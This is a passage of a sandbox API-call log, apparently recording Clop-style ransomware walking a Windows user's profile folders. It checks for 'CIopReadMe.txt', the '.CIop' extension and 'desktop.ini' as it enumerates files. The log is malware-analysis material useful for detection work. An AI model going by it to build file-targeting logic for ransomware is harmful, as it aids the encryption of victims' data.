jCM") returned="bLdID5XJzq jCM" [0148.756] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.756] lstrlenW (lpString=".CIop") returned 5 [0148.756] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0148.756] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0148.756] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67def8 [0148.756] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0148.756] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0148.757] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.757] lstrcmpW (lpString1="Camera Roll", lpString2="..") returned 1 [0148.757] lstrcmpW (lpString1="Camera Roll", lpString2=".") returned 1 [0148.757] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0148.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0148.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0148.757] SetErrorMode (uMode=0x1) returned 0x1 [0148.757] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0148.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0148.757] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0148.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0148.757] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dfb8 [0148.757] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0148.757] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0148.757] lstrlenW (lpString="desktop.ini") returned 11 [0148.757] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0148.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0148.757] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dd78 [0148.757] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0148.757] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0148.757] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.757] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.757] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.758] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.758] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.758] lstrcmpW (lpString1="Saved Pictures", lpString2="..") returned 1 [0148.758] lstrcmpW (lpString1="Saved Pictures", lpString2=".") returned 1 [0148.758] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0148.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0148.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0148.758] SetErrorMode (uMode=0x1) returned 0x1 [0148.758] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0148.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0148.758] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0148.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0148.758] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dd78 [0148.758] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0148.758] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0148.758] lstrlenW (lpString="desktop.ini") returned 11 [0148.758] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0148.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0148.758] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0148.758] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0148.758] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0148.758] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.758] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.758] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.759] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.759] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.759] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0148.759] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0148.759] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0148.759] SetErrorMode (uMode=0x1) returned 0x1 [0148.759] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0148.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0148.759] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0148.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0148.759] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.759] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0148.759] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0148.759] lstrlenW (lpString=".CIop") returned 5 [0148.759] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.759] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.759] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.759] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0148.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0148.759] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.759] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0148.759] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0148.759] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0148.759] SetErrorMode (uMode=0x1) returned 0x1 [0148.759] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0148.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0148.759] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0148.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0148.760] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.760] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0148.760] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0148.760] lstrlenW (lpString=".CIop") returned 5 [0148.760] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.760] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.760] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.760] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0148.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0148.760] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.760] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0148.760] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0148.760] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0148.760] SetErrorMode (uMode=0x1) returned 0x1 [0148.760] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0148.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0148.760] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0148.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0148.760] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.760] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0148.760] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0148.760] lstrlenW (lpString="desktop.ini") returned 11 [0148.760] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0148.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0148.760] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.761] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0148.761] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0148.761] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.761] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0148.761] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0148.761] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0148.761] SetErrorMode (uMode=0x1) returned 0x1 [0148.761] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0148.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0148.761] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0148.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0148.761] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.761] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0148.761] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0148.761] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.761] lstrlenW (lpString="desktop.ini") returned 11 [0148.761] lstrlenW (lpString=".CIop") returned 5 [0148.761] lstrlenW (lpString=".CIop") returned 5 [0148.761] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0148.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0148.761] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.762] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0148.762] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0148.762] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.762] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0148.762] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0148.762] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0148.762] SetErrorMode (uMode=0x1) returned 0x1 [0148.762] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0148.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0148.762] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0148.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0148.762] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.762] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0148.762] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0148.762] lstrlenW (lpString=".CIop") returned 5 [0148.762] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.762] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.762] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.762] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0148.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0148.762] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.762] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0148.762] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0148.762] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0148.762] SetErrorMode (uMode=0x1) returned 0x1 [0148.763] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") 